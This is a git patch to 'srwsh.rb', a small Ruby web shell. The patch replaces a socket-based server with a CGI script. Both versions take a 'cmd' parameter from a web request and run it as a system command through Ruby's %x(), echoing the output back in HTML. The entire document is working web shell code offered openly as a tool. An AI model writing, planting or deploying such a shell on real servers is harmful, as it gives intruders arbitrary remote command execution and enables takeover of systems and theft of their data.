From e8e1a379c38240ec0db89f01be6175012d72a0e8 Mon Sep 17 00:00:00 2001
From: Ricardo <100010099+astreuzz@users.noreply.github.com>
Date: Thu, 26 Jan 2023 15:46:22 -0400
Subject: [PATCH] Update srwsh.rb
---
ruby/srwsh.rb | 30 +++++++++---------------------
1 file changed, 9 insertions(+), 21 deletions(-)
diff --git a/ruby/srwsh.rb b/ruby/srwsh.rb
index 8525d3d..50b5aef 100644
--- a/ruby/srwsh.rb
+++ b/ruby/srwsh.rb
@@ -2,43 +2,31 @@
# frozen_string_literal: true
# Small Ruby Web Shell
-# This a Ruby web shell written with sockets only
-require 'socket'
require 'cgi'
-ipaddr, port = ARGV.size == 2 ? ARGV[0..] : ['localhost', 4000]
-http = TCPServer.new(ipaddr, port)
-response = DATA.read
+print "Content-type: text/html\r\n\r\n"
-puts("Pure HTTP server started at #{ipaddr}:#{port}")
+cgi = CGI.new
+html = DATA.read
-while con = http.accept
- data = con.gets
- output = ''
-
- if data =~ %r{/\?cmd=(.*)\sHTTP}
- output = %x(#{CGI.unescape($1)}) rescue "Command error: #{$1}"
- end
-
- con.print('HTTP/1.1 200 OK\r\n')
- con.print('Content-Type: text/html\r\n\r\n')
- con.puts(response % output)
-
- con.close
+if cgi["cmd"]
+ output = %x(#{CGI.unescape(cgi['cmd'])}) rescue "Command error: #{cgi['cmd']}"
end
+puts html % [File.basename($0), output]
+
__END__
-
-
+